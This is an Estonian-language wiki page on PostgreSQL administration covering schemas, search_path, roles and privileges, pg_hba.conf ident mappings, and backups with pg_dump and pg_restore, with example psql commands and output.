Skeemide moodustamisel peab nimevalikul arvestama, et pg_ algusega nimede on reserveeritud kasutamiseks pg_catalog skeemis ning kuigi kasutajad saavad neid nimesid ka ise kasutada, kasutab andmebaas vaikimisi süsteemseid objekte kui sellise nimega pöörduda.&lt;br /&gt;
&lt;br /&gt;
Kui andmebaasiga töötades skeemi mitte näidata, siis vaikimisi toimub tegevus&lt;br /&gt;
&lt;br /&gt;
* kasutajanimelises skeemis&lt;br /&gt;
* kasutajanimelise skeemi puudumisel skeemis 'public'; see skeem moodustatakse andmebaasi loomisel automaatselt.&lt;br /&gt;
&lt;br /&gt;
 test=&amp;gt; show search_path;&lt;br /&gt;
   search_path   &lt;br /&gt;
 ----------------&lt;br /&gt;
  &amp;quot;$user&amp;quot;,public&lt;br /&gt;
 (1 row)&lt;br /&gt;
&lt;br /&gt;
Skeemirada töötab sarnaselt tabelile ka muude skeemis sisalduvate objektidega, nt funktsioonid.&lt;br /&gt;
&lt;br /&gt;
Skeemi suhtes on kasutajatel kahe sorti privileege&lt;br /&gt;
&lt;br /&gt;
* usage - skeemis sisalduvate objektide kasutamine&lt;br /&gt;
* create - skeemi objektide tekitamine&lt;br /&gt;
&lt;br /&gt;
Vaikimisi saavad kõik andmebaasi kasutajad töötada public skeemis, st seda kasutada ja sinna tekitada objekte.&lt;br /&gt;
&lt;br /&gt;
Alati sisaldub andmebaasis nö süsteemne skeem pg_catalog ja seda kasutatakse enne skeemirajalt objektide otsimist.&lt;br /&gt;
&lt;br /&gt;
public skeem on iseenesest tavaline skeem nagu iga teinega, nt võib selle vajadusel ka kustutada.&lt;br /&gt;
&lt;br /&gt;
Skeemiraja seadistamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 set search_path to skeeminimi1, skeeminimi2&lt;br /&gt;
&lt;br /&gt;
Skeemidele antud privileegide esitamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 baasinimi=# \dn+&lt;br /&gt;
                                      List of schemas&lt;br /&gt;
         Name        |  Owner   |  Access privileges   |           Description            &lt;br /&gt;
 --------------------+----------+----------------------+----------------------------------&lt;br /&gt;
  information_schema | postgres | postgres=UC/postgres | &lt;br /&gt;
                                : =U/postgres            &lt;br /&gt;
  pg_catalog         | postgres | postgres=UC/postgres | system catalog schema&lt;br /&gt;
                                : =U/postgres            &lt;br /&gt;
  pg_toast           | postgres |                      | reserved schema for TOAST tables&lt;br /&gt;
  pg_toast_temp_1    | postgres |                      | &lt;br /&gt;
  public             | postgres | postgres=UC/postgres | standard public schema&lt;br /&gt;
                                : =U/postgres&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* public skeemi omanik on kasutaja postgres ja tal on selle skeemi suhtes usage ja create õigused&lt;br /&gt;
* kõigil teistel kasutajatel on public skeemi suhtes usage õigus; üldiselt võib öelda&lt;br /&gt;
&lt;br /&gt;
 kasutaja_kellele_privileeg_antakse=privileeg/kõnealuse_objekt_omaniku_nimi&lt;br /&gt;
&lt;br /&gt;
===PostgreSQL privileegisüsteem===&lt;br /&gt;
&lt;br /&gt;
PostgreSQL privileegisüsteem kontrollib, mida saavad erinevad kasutajad andmebaasis teha. Üldiselt on andmebaasi ligipääsule võimalik piiranguid seada kolmel tasemel&lt;br /&gt;
&lt;br /&gt;
* võrguühenduse tase - nt andmebaasi ees töötavas tulemüüris võrguühendusi src ipi aadressi täpsusega piirates&lt;br /&gt;
* pg_hba.conf failis&lt;br /&gt;
* andmebaasi sisemiste vahenditega&lt;br /&gt;
&lt;br /&gt;
Andmebaasi sisemiste vahenditega saab ligipääse piirata kõige täpsemalt kusjuures seadistatud ligipääse hoib andmebaas selleks ettenähtud andmebaasi tabelites.&lt;br /&gt;
&lt;br /&gt;
===Kasutajad ja grupid - rollid===&lt;br /&gt;
&lt;br /&gt;
Üldiselt öeldakse, et PostgreSQLi andmebaasi kasutajad tegutsevad andmebaasi kasutades mingites rollides&lt;br /&gt;
&lt;br /&gt;
* andmebaasi objektide, nt tablitele juures on kirjas, millise rolliga kasutaja saab kõnealuse objektida millist tegevust sooritada, nt tabelit sisu select käsuga lugeda&lt;br /&gt;
* andmebaasi sisselogimiseks on kasutajal vaja teada mõnda andmebaasis kirjeldatud LOGIN omadusega rolli ligipääse (sh parooli)&lt;br /&gt;
* rollid võivad moodustada hierarhiaid, mida võib praktiliselt ette kujutada grupikuuluvustena; praktiliselt tähendab see nt seda, et andmebaasis kirjeldatakse roll ja sellega seostatakse mingid ligipääsud erinevatele objektidele ning selleks, et konkreetsed sisselogivad kasutajad saaksid kõnealustele objektidega tegevusi sooritada määratakse nad kirjeldatud rolli nö pärijateks&lt;br /&gt;
&lt;br /&gt;
Rollid on kirjeldatud kogu andmeklustri ehk PostgreSQL installatsiooni eksemplari kohta, mitte iga andmebaasi kohta. Tuleb arvestada, et sama nö ühenduse sees saab kasutada ainult ühte andmebaasi, st nt ei saa sooritada päringut, mis tegelab erinevate baaside tabelitega.&lt;br /&gt;
&lt;br /&gt;
===Rollide moodustamine===&lt;br /&gt;
&lt;br /&gt;
Andmebaasi paigaldamisel tekitatakse andmebaasi selle kasutaja nimeline LOGIN omadusega roll, millena andmebaas paigaldati, traditsiooniliselt on selle rolli nimeks 'postgres'.&lt;br /&gt;
&lt;br /&gt;
Group ehk mitte-LOGIN rolli moodustamiseks sobib öelda nt&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; create role kasutajad;&lt;br /&gt;
&lt;br /&gt;
ja rolli eemaldamiseks&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; drop role kasutajad;&lt;br /&gt;
&lt;br /&gt;
LOGIN rolli moodustamiseks sh parooli seadmiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; create role priit login password 'parool' NOSUPERUSER INHERIT NOCREATEDB NOCREATEROLE;&lt;br /&gt;
&lt;br /&gt;
Andmebaasi administraator saab muuta kõigi kasutajate paroole ja kasutaja saab muuta ise enda parooli öeldes&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; alter role priit with password 'uusparool';&lt;br /&gt;
&lt;br /&gt;
Ilmutatud kujul parooli esitamisel on selline puudus, et see võib jääda kuhugi alles, nt logisse või .psql_history faili. Alternatiiviks on arvutada selliselt kokku ühendatud parool + kasutajanimi md5 summa&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; select md5('uusparoolpriit');&lt;br /&gt;
 &amp;quot;fdd04c2f594e548b77c66781c8f5a85a&amp;quot;&lt;br /&gt;
&lt;br /&gt;
ning seejärel, nb! hash algusse on lisatud 'md5'&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; alter role priit with encrypted password 'md5fdd04c2f594e548b77c66781c8f5a85a';&lt;br /&gt;
&lt;br /&gt;
===Rollide kasutamine===&lt;br /&gt;
&lt;br /&gt;
Käesoleva rollinime küsimiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; select user;&lt;br /&gt;
&lt;br /&gt;
Uue rolli omandamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; set role uusrollinimi;&lt;br /&gt;
&lt;br /&gt;
Vaikerollile lülitumiseks&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; reset role;&lt;br /&gt;
&lt;br /&gt;
Käesolevat rolli saab küsida&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; show role;&lt;br /&gt;
&lt;br /&gt;
Kasutajale st login rollile grupi rolliga seotud privileegide lisamiseks&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; grant grupiroll to loginroll;&lt;br /&gt;
&lt;br /&gt;
===Rollidele andmebaasiobjektide kasutamise lubamine andmebaasi sisemise acl abil===&lt;br /&gt;
&lt;br /&gt;
Andmebaasi objektidel on privileegisüsteemi seisukohast kaks olulist omadust&lt;br /&gt;
&lt;br /&gt;
* objekti omanik (ingl. k. owner) - objekti moodustanud roll, kellel on objekti suhtes kõikvõimalikud õigused&lt;br /&gt;
* pääsunimekiri (ingl. k. access control list, ACL) - millised omanikud saavad kõnealuse objektida milliseid tegevusi sooritada&lt;br /&gt;
&lt;br /&gt;
====Tabel====&lt;br /&gt;
&lt;br /&gt;
Olgu andmebaasi administraator tekitanud kaks rolli priit ning mart ning moodustanud kummagi kasutaja jaoks andmebaasi nendenimelise skeemi. Sellises olukorras saavad mõlemad kasutajad oma skeemis toimetada kuid üksteise tabelitele sisule ligi ei pääse.&lt;br /&gt;
&lt;br /&gt;
 test=&amp;gt; select * from priit.priidutabel;&lt;br /&gt;
 ERROR:  permission denied for schema priit&lt;br /&gt;
 LINE 1: select * from priit.priidutabel;&lt;br /&gt;
&lt;br /&gt;
Selleks, et kasutaja mart pääseks lugema kasutaja priit tabeli priit.priidutabel sisu peab priit kõnealusele tabelile andma kasutajale mart select pääsu&lt;br /&gt;
&lt;br /&gt;
 GRANT SELECT ON TABLE priit.priidutabel TO mart;&lt;br /&gt;
&lt;br /&gt;
Tabeli ligipääsude kohta saab küsida öeldes&lt;br /&gt;
&lt;br /&gt;
 test=&amp;gt; \z priit.priidutabel &lt;br /&gt;
                                Access privileges&lt;br /&gt;
  Schema |    Name     | Type  |  Access privileges  | Column access privileges &lt;br /&gt;
 --------+-------------+-------+---------------------+--------------------------&lt;br /&gt;
  priit  | priidutabel | table | priit=arwdDxt/priit | &lt;br /&gt;
                               : mart=r/priit          &lt;br /&gt;
 (1 row)&lt;br /&gt;
&lt;br /&gt;
kust on näha&lt;br /&gt;
&lt;br /&gt;
* priit=arwdDxt/priit - tabel kuulub kasutajale priit ning tal on omanikuna kõik privileegid&lt;br /&gt;
* mart=r/priit - tabel kuulub kasutajale priit ning kasutajal mart on sellele r privileeg (select); üldiselt kehtib&lt;br /&gt;
&lt;br /&gt;
 kasutaja_kellele_privileeg_antakse=privileeg/kõnealuse_objekti_omaniku_nimi&lt;br /&gt;
&lt;br /&gt;
Tabelilt ligipääsu eemaldamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 REVOKE select ON priit.priidutabel TO mart;&lt;br /&gt;
&lt;br /&gt;
Tabelile saab ligipääse anda ka tulba täpsusega, nt&lt;br /&gt;
&lt;br /&gt;
 GRANT SELECT(nimi) ON priit.priidutabel TO mart;&lt;br /&gt;
&lt;br /&gt;
kusjuures siis on võimalik küsida selectiga ainult vastava tulba andmeid.&lt;br /&gt;
&lt;br /&gt;
Kasutaja parooli muutmine&lt;br /&gt;
&lt;br /&gt;
 ALTER USER kasutajanimi WITH PASSWORD 'parool';&lt;br /&gt;
&lt;br /&gt;
Kõigi skeemi tabelitele rolli ligipääsu tekitamine, vastuseks saab hulga sql lauseid, mis tuleb seejärel käivitada, nt (\o /tmp/failinimi.sql salvestab vastuse failisüsteemi, et seda sealt \i /tmp/failinimi.sql abil seejärel kasutada)&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; \o /tmp/failinimi.sql&lt;br /&gt;
 SQL&amp;gt; select 'GRANT SELECT, INSERT, UPDATE, DELETE ON ' || schemaname || '.' || tablename || ' TO rollinimi;' \&lt;br /&gt;
   from pg_tables where tableowner='omanikunimi' and schemaname != 'pg_catalog' and schemaname != 'information_schema';&lt;br /&gt;
&lt;br /&gt;
Kusjuures, selleks, et roll saaks skeemi kasutada peab olema skeemile antud nt USAGE privileeg&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; GRANT USAGE ON SCHEMA skeeminimi TO rollinimi;&lt;br /&gt;
&lt;br /&gt;
Tabelile ligipääs&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; SELECT 'GRANT SELECT ON skeeminimi.' || table_name || ' TO rakendus_ro;' FROM information_schema.tables WHERE table_schema = 'skeeminimi' \&lt;br /&gt;
   and table_type = 'BASE TABLE';&lt;br /&gt;
 --------------------------------------------------------&lt;br /&gt;
 GRANT SELECT ON skeeminimi.vahendaja TO rakendus_ro;&lt;br /&gt;
 GRANT SELECT ON skeeminimi.oigus_antud TO rakendus_ro;&lt;br /&gt;
 GRANT SELECT ON skeeminimi.dokumendi_fail TO rakendus_ro;&lt;br /&gt;
 GRANT SELECT ON skeeminimi.vastuvotja_staatus TO rakendus_ro;&lt;br /&gt;
 ..&lt;br /&gt;
&lt;br /&gt;
Sequentsidele ligipääs&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; select 'grant usage, select, update on rakendus.' || sequence_name || ' to rakendus_rw' FROM information_schema.sequences \&lt;br /&gt;
   where sequence_schema = 'skeeminimi';&lt;br /&gt;
 &lt;br /&gt;
                                  ?column?                                &lt;br /&gt;
 ------------------------------------------------------------------------&lt;br /&gt;
  grant usage, select, update on skeeminimi.sq_transport_id to rakendus_rw;&lt;br /&gt;
  grant usage, select, update on skeeminimi.sq_vastuvotja_id to rakendus_rw;&lt;br /&gt;
  grant usage, select, update on skeeminimi.sq_ametikoht_id to rakendus_rw;&lt;br /&gt;
  grant usage, select, update on skeeminimi.sq_ametikoht_taitmine_id to rakendus_rw;&lt;br /&gt;
  ..&lt;br /&gt;
&lt;br /&gt;
Ligipääsu eemaldamine&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; SELECT 'REVOKE SELECT ON skeeminimi.' || table_name || ' FROM rakendus_rw;' FROM information_schema.tables WHERE table_schema = 'skeeminimi' \&lt;br /&gt;
   and table_type = 'BASE TABLE';&lt;br /&gt;
&lt;br /&gt;
====Funktsioon====&lt;br /&gt;
&lt;br /&gt;
 ALTER FUNCTION vklog.log_dokument(vk.dokument, vk.dokument, character varying) OWNER TO vk_admin;&lt;br /&gt;
&lt;br /&gt;
====Trigger funktsioon====&lt;br /&gt;
&lt;br /&gt;
 GRANT EXECUTE ON FUNCTION dkk.tr_allkiri_log() TO dkk_rw;&lt;br /&gt;
&lt;br /&gt;
===Rollidele andmebaasiobjektide kasutamise lubamine pg_hba.conf seadistusfaili abil===&lt;br /&gt;
&lt;br /&gt;
Seadistusfail /etc/postgresql/8.4/main/pg_hba.conf kontrollib ligipääsu sellise komplekti andmete alusel&lt;br /&gt;
&lt;br /&gt;
* ühenduse tüüp - üle tcp või unix soketi (st kas üle võrgu või unix soket abil)&lt;br /&gt;
* baasi nimi&lt;br /&gt;
* kasutaja nimi&lt;br /&gt;
* ip aadress (tcp ühenduse puhul)&lt;br /&gt;
* autentimise meetod - parooliga, kasutaja sertifikaadiga; unix soketi puhul ident&lt;br /&gt;
&lt;br /&gt;
====ident====&lt;br /&gt;
&lt;br /&gt;
Nn unixi postgre kasutaja saab ligi kõigile baasidele üle unixi soketi (/var/run/postgresql/.s.PGSQL.5432)&lt;br /&gt;
&lt;br /&gt;
 local   all         postgres                          ident&lt;br /&gt;
&lt;br /&gt;
ja kasutamiseks tuleb öelda nt&lt;br /&gt;
&lt;br /&gt;
 # su - postgres&lt;br /&gt;
 $ psql -U postgres&lt;br /&gt;
&lt;br /&gt;
====map====&lt;br /&gt;
&lt;br /&gt;
mappinguid juhitakse failiga pg_ident.conf http://www.postgresql.org/docs/8.4/static/auth-username-maps.html&lt;br /&gt;
&lt;br /&gt;
 # cat pg_ident.conf&lt;br /&gt;
 ..&lt;br /&gt;
 # MAPNAME     SYSTEM-USERNAME    PG-USERNAME&lt;br /&gt;
 mapping_yks   www-data        pg_kasutaja_1&lt;br /&gt;
 mapping_kaks   www-data       pg_kasutaja_2&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* MAPNAME - teisenduse nimi, mida pg_hba.conf failis kasutatakse&lt;br /&gt;
* SYSTEM-USERNAME - ident nimi (kohalikust arvutist tehtud pöördumiste puhul praktiliselt andmebaasi poole pöörduva protsessi UID)&lt;br /&gt;
* PG-USERNAME - andmebaasi kasutaja nimi, millena on vastaval SYSTEM-USERNAME'il lubatud andmebaasi kasutada&lt;br /&gt;
&lt;br /&gt;
ja (kusjuures nagu ikka, oluline on kus ridade järjekorra mõttes antud rida paikneb nt tema ees ei tohi olla 'local all all reject')&lt;br /&gt;
&lt;br /&gt;
 # pg_hba.conf&lt;br /&gt;
 local   all  all      ident map=mapping_yks&lt;br /&gt;
&lt;br /&gt;
siis töötab nt selline kasutus&lt;br /&gt;
&lt;br /&gt;
 # su - www-data&lt;br /&gt;
 $ psql -U pg_kasutaja_1 baasinimi&lt;br /&gt;
 ..&lt;br /&gt;
 baasinimi =&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===SQL arhiivifaili moodustamine===&lt;br /&gt;
&lt;br /&gt;
pg_dump programmi abil saab teha PostgreSQL andmebaasi (mitte kogu andmeklustrist, st kõigist andmebaasidest ühekorraga) andmetest erinevatel tasemetel koopiaid - andmebaasist, skeemist, tabelist, ja määrata seejuures täpsustusi, nt kas kopeeritakse ainult struktuur või struktuur koos andmetega. pg_dump kasutamise tulemusena moodustatakse arhiivifail.&lt;br /&gt;
&lt;br /&gt;
Programmi kasumisel saab valida kolme formaadi vahel, milles väljund tekitatakse&lt;br /&gt;
&lt;br /&gt;
* tekst (ingl. k. plain) - tekstikujul SQL skript, vaikeformaat&lt;br /&gt;
* kostümiseeritud arhiiv (ingl. k. custom) - binaarne ahriiv, vaikimisi pakitud, võimaldab kõige paindlikumalt pärast arhiivifailis olevaid andmeid kasutada&lt;br /&gt;
* tar - TODO&lt;br /&gt;
&lt;br /&gt;
pg_dump moodustab tänu MVCC tehnika kasutamisele andmetest kooskõlalise väljundi, nii nagu andmete seis oli pg_dump käivitamisel. Kuig pg_dump kasutamise ajal on nö tavapärane andmebaasi kasutamine võimalik, kasutab ta lukke selliselt, et nt samal ajal ei saab tabelite struktuuri muuta.&lt;br /&gt;
&lt;br /&gt;
====SQL skripti moodustamine====&lt;br /&gt;
&lt;br /&gt;
SQL skripti kujul esineva arhiivifaili moodustamiseks sobib öelda nt&lt;br /&gt;
&lt;br /&gt;
  $ export PGPASSWORD=parool&lt;br /&gt;
  $ pg_dump -U postgres -h localhost baasinimi -f baasinimi-20090802.sql &lt;br /&gt;
    1&amp;gt; baasinimi-20090802-1.log 2&amp;gt; baasinimi-20090802-2.log&lt;br /&gt;
&lt;br /&gt;
Skripti tekitamisel saab määrata nt, kas skripti lisatakse käsud andmebaasi, skeemi või tabeli moodustamise kohta või mitte.&lt;br /&gt;
&lt;br /&gt;
====Kostümiseeritud arhiivifaili moodustamine====&lt;br /&gt;
&lt;br /&gt;
Nt andbaasi portaal skeemi data tabelist documents kostümiseeritud arhiivi moodustamiseks tuleb öelda&lt;br /&gt;
&lt;br /&gt;
  $ export PGPASSWORD=parool&lt;br /&gt;
  $ pg_dump -Fc -h localhost -U postgres -t data.documents -f portaal.data.documents.fcdump portaal&lt;br /&gt;
&lt;br /&gt;
===SQL arhiivifaili kasutamine===&lt;br /&gt;
&lt;br /&gt;
Andmete taastamiseks on kaks programmi&lt;br /&gt;
&lt;br /&gt;
* psql - SQL skript antakse programmi sisendisse, psql täidab järjekorras seal esitatud laused kuni esimese veani või skripti lõpuni&lt;br /&gt;
* pg_restore - programmi argumendina näidatakse kostümiseeritud SQL arhiivifail, väljundisse kirjutatakse lausete täitmisel esinevad vead, kuid töötatakse kuni arhiivifaili lõpuni&lt;br /&gt;
&lt;br /&gt;
pg_restore võimaldab&lt;br /&gt;
&lt;br /&gt;
* taastada arhiivist andmeid objekti, nt tableli täpsusega&lt;br /&gt;
* valida, millised järjekorras andmed arhiivist taastatakse&lt;br /&gt;
&lt;br /&gt;
Kui andmebaasis on kasutatud contrib mooduleid, mille esmakordsel paigaldamisel tuli tõenäoliselt käivitavad vastav mooduli paigaldusskript (mis tekitas baasi funktsioone jms), siis taastel ei ole reeglina seda vaja kasutada, sest vastavad funktsioonid on baasis olemas ja taaste käigus nad tekitatakse.&lt;br /&gt;
&lt;br /&gt;
====SQL skripti kasutamine====&lt;br /&gt;
&lt;br /&gt;
Kasutamiseks tuleb psql utiliidiga laadida skript andmebaasi, nt&lt;br /&gt;
&lt;br /&gt;
 $ psql -U postgres -h localhost baasinimi &amp;lt; baasinimi-20090802.sql&lt;br /&gt;
&lt;br /&gt;
Tekstikujul esituse puuduseks on suhteliselt mahtukas tulemus ja aeganõudev protseduuri kestus. Eeliseks võib pidada asjaolu, et andmed on inimesele hõlpsasti loetaval ja muudetaval kujul.&lt;br /&gt;
&lt;br /&gt;
Kui esitada alltoodud käsk kujul, toimub skripti täitmine ühe transaktsioonina, mis praktiliselt tähendab seda, et kui skripti täitmine tehnilises mõttes ebaõnnestub, töötab andmebaas edasi muudatusele eelnenud kujul&lt;br /&gt;
&lt;br /&gt;
 $ psql -1 -U postgres -h localhost -f baasinimi-20090802.sql baasinimi&lt;br /&gt;
&lt;br /&gt;
====Kostümiseeritud arhiivifaili kasutamine====&lt;br /&gt;
&lt;br /&gt;
Andmete kopeerimiseks kostümiseeritud arhiivifailist otse andmebaasi sobib öelda nt&lt;br /&gt;
&lt;br /&gt;
  $ pg_restore -d portaal -h localhost -U postgres portaal.data.documents.fcdump&lt;br /&gt;
&lt;br /&gt;
Arhiivifailis sisalduvate objektide nimekirja esitamiseks tuleb kasutada -l võtit&lt;br /&gt;
&lt;br /&gt;
  $ pg_restore -l /data/backup/dumps/portaal.data.dokuments.fcdump&lt;br /&gt;
  ;&lt;br /&gt;
  ; Archive created at Thu Sep 10 14:54:27 2009&lt;br /&gt;
  ;     dbname: portaal&lt;br /&gt;
  ;     TOC Entries: 11&lt;br /&gt;
  ;     Compression: -1&lt;br /&gt;
  ;     Dump Version: 1.10-0&lt;br /&gt;
  ;     Format: CUSTOM&lt;br /&gt;
  ;     Integer: 4 bytes&lt;br /&gt;
  ;     Offset: 8 bytes&lt;br /&gt;
  ;     Dumped from database version: 8.3.5&lt;br /&gt;
  ;     Dumped by pg_dump version: 8.3.5&lt;br /&gt;
  ;&lt;br /&gt;
  ;&lt;br /&gt;
  ; Selected TOC Entries:&lt;br /&gt;
  ;&lt;br /&gt;
  8462; 1259 40169 TABLE data documents sysadm&lt;br /&gt;
  9384; 0 0 ACL data documents sysadm&lt;br /&gt;
  8463; 1259 40175 SEQUENCE data documents_doc_id_seq sysadm&lt;br /&gt;
  9385; 0 0 SEQUENCE OWNED BY data documents_doc_id_seq sysadm&lt;br /&gt;
  9386; 0 0 SEQUENCE SET data documents_doc_id_seq sysadm&lt;br /&gt;
  9378; 2604 42053 DEFAULT data doc_id sysadm&lt;br /&gt;
  9381; 0 40169 TABLE DATA data documents sysadm&lt;br /&gt;
  9379; 1259 48086585 INDEX data documents_doc_id sysadm&lt;br /&gt;
  9380; 2620 48087091 TRIGGER data timestamp sysadm&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* TOC (Table of Contents) - sisukord&lt;br /&gt;
* rea alguses on objekti id väärtus&lt;br /&gt;
* kõik semikoolonist paremale jääv on kommentaar&lt;br /&gt;
&lt;br /&gt;
Nõuanded pg_restore kasutamiseks&lt;br /&gt;
&lt;br /&gt;
* Arhiivifaili sisu teisendamiseks SQL skripti kujule tuleb jätta ära -d võti&lt;br /&gt;
&lt;br /&gt;
 $ pg_restore arhiivifail-20100506.fcdump &amp;gt; arhiivifail-20100506.sql&lt;br /&gt;
&lt;br /&gt;
* Arhiivifaili ühte tabeli kirjelduse esitamiseks tuleb näidata skeemi ning tabeli nimi ja võti -s&lt;br /&gt;
&lt;br /&gt;
 $ pg_restore -s -n priiduskeem -t inimene arhiivifail-20100506.fcdump&lt;br /&gt;
&lt;br /&gt;
* Arhiivifailist ühe tabeli taastamiseks otse andmebaasi&lt;br /&gt;
&lt;br /&gt;
 $ pg_restore -d baasinimi -n priiduskeem -t inimene arhiivifail-20100506.fcdump&lt;br /&gt;
&lt;br /&gt;
* Arhiivifailist nimekirja alusel objektide taastamiseks tuleb esmalt -l väljundi alusel moodustada sobiva sisuga tekstifail ja seda redigeerida ning siis seda kasutada, seejuures võib ka objektide järjekorda muuta&lt;br /&gt;
&lt;br /&gt;
 $ pg_restore -l arhiivifail-20100506.fcdump &amp;gt; arhiivifail-20100506.fcdump.list&lt;br /&gt;
 $ pg_restore -d baasinimi -h localhost -U postgres -L arhiivifail-20100506.fcdump.list arhiivifail-20100506.fcdump&lt;br /&gt;
&lt;br /&gt;
* Mitme protsessoriga arvutil saab -j võtme abil näidata milliselt määral kasutatakse paralleelset tööd andmete sisselugemisel, nt&lt;br /&gt;
&lt;br /&gt;
 $ pg_restore -j 16 -d baasinimi arhiivifail-20100506.fcdump&lt;br /&gt;
&lt;br /&gt;
====Globals====&lt;br /&gt;
&lt;br /&gt;
Globalsiks nimetatakse neid andmebaasi andmeid, mis ei sisaldu otseselt üheski baasis, vaid kuuluvad andmebaasi kui terviku juurde, nt rollid. Nende salvestamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 $ pg_dumpall -g -h localhost -U postgres &amp;gt; globals.sql&lt;br /&gt;
&lt;br /&gt;
Moodustatud skripti sobib kasutada nagu nö tavalist sql skripti. Ainult rollide andmete kopeerimiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 $ pg_dumpall -r -h localhost -U postgres &amp;gt; roles.sql&lt;br /&gt;
&lt;br /&gt;
===SQL dump/restore kasutamine arvestades objektide omanikke===&lt;br /&gt;
&lt;br /&gt;
Lähtepunkt&lt;br /&gt;
&lt;br /&gt;
* töötab üks PostgreSQL protsesside komplekt&lt;br /&gt;
* on olemas üks andmebaasi tarkvara sisene kasutaja&lt;br /&gt;
* on olemas create database andmebaas (kõik objektid kuuluvad mainitud kasutajale)&lt;br /&gt;
&lt;br /&gt;
Sihtpunkt&lt;br /&gt;
&lt;br /&gt;
* töötab üks PostgreSQL protsesside komplekt&lt;br /&gt;
* lähtepunktiks olnud kasutaja ja baas säilivad algsel kujul&lt;br /&gt;
* on tekitatud juurde teine andmebaasi tarkvara sisene kasutaja&lt;br /&gt;
* on tekitatud juurde teine create database andmebaas; kõik objektid on seal teise kasutaja omanduses&lt;br /&gt;
* teise andmebaasi sisuks on esimese andmebaasi sisu&lt;br /&gt;
* mõlemad create database andmebaasid on tavalised, üksteisest sõltumatud andmebaasid&lt;br /&gt;
&lt;br /&gt;
Nt leiab selline ülesanne kasutust töötavast lahendusest teha koopia kõrvale mingite testimiste jaoks.&lt;br /&gt;
&lt;br /&gt;
====pg_dump -O ja psql====&lt;br /&gt;
&lt;br /&gt;
Protseduuri eeliseks on, et andmete sisselaadimine uude andmebaasi tõimub privilegeerimata kasutajana. pg_dump kasutamisel sql skript moodustamisel tuleb omanike käsud dump failist välja jätta kohe alguses&lt;br /&gt;
&lt;br /&gt;
 pg_dump -O ...&lt;br /&gt;
&lt;br /&gt;
sisselaadimiseks&lt;br /&gt;
&lt;br /&gt;
 TODO&lt;br /&gt;
&lt;br /&gt;
====pg_dump -Fc ja pg_restore====&lt;br /&gt;
&lt;br /&gt;
Protseduuri eeliseks on, et andmete sisselaadimine uude andmebaasi tõimub privilegeerimata kasutajana. Moodustada -Fc dump&lt;br /&gt;
&lt;br /&gt;
 $ /usr/lib/postgresql/9.4/bin/pg_dump -Fc -f baasinimi-20180922-94.dump baasinimi&lt;br /&gt;
&lt;br /&gt;
uue kasutaja moodustamine&lt;br /&gt;
&lt;br /&gt;
 postgres=# create role kasutajanimi login password 'fakeparool' NOSUPERUSER INHERIT NOCREATEDB NOCREATEROLE;&lt;br /&gt;
&lt;br /&gt;
uue baasi moodustamine (template = template0 LC_COLLATE = 'C.UTF-8' LC_CTYPE = 'C.UTF-8' on näiteks)&lt;br /&gt;
&lt;br /&gt;
 postgres=# create database baasinimi owner = kasutajanimi template = template0 LC_COLLATE = 'C.UTF-8' LC_CTYPE = 'C.UTF-8';&lt;br /&gt;
&lt;br /&gt;
Sisselaadimiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ /usr/lib/postgresql/9.4/bin/pg_restore -d baasinimi -O -h 127.0.0.1 -U kasutajanimi baasinimi-20180922-94.dump&lt;br /&gt;
Password:&lt;br /&gt;
pg_restore: [archiver (db)] Error while PROCESSING TOC:&lt;br /&gt;
pg_restore: [archiver (db)] Error from TOC entry 8746; 0 0 COMMENT EXTENSION plpgsql&lt;br /&gt;
pg_restore: [archiver (db)] could not execute query: ERROR:  must be owner of extension plpgsql&lt;br /&gt;
    Command was: COMMENT ON EXTENSION plpgsql IS 'PL/pgSQL procedural language';&lt;br /&gt;
 &lt;br /&gt;
pg_restore: WARNING:  no privileges could be revoked for &amp;quot;public&amp;quot;&lt;br /&gt;
pg_restore: WARNING:  no privileges could be revoked for &amp;quot;public&amp;quot;&lt;br /&gt;
pg_restore: WARNING:  no privileges were granted for &amp;quot;public&amp;quot;&lt;br /&gt;
pg_restore: WARNING:  no privileges were granted for &amp;quot;public&amp;quot;&lt;br /&gt;
WARNING: errors ignored on restore: 1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* -O kasutada ilma owner käskudeta&lt;br /&gt;
* - tõneäoliselt saab mõned praktiliselt ebaolulised vead/hoiatused&lt;br /&gt;
&lt;br /&gt;
====reassing====&lt;br /&gt;
&lt;br /&gt;
Protseduuri puhul toimub andmete sisselaadimine uude andmebaasi privilegeerimata kasutajana. Moodustada -Fc dump&lt;br /&gt;
&lt;br /&gt;
 $ /usr/lib/postgresql/9.4/bin/pg_dump -Fc -f baasinimi-20180922-94.dump baasinimi&lt;br /&gt;
&lt;br /&gt;
uue kasutaja moodustamine&lt;br /&gt;
&lt;br /&gt;
 postgres=# create role uuskasutajanimi login password 'fakeparool' NOSUPERUSER INHERIT NOCREATEDB NOCREATEROLE;&lt;br /&gt;
&lt;br /&gt;
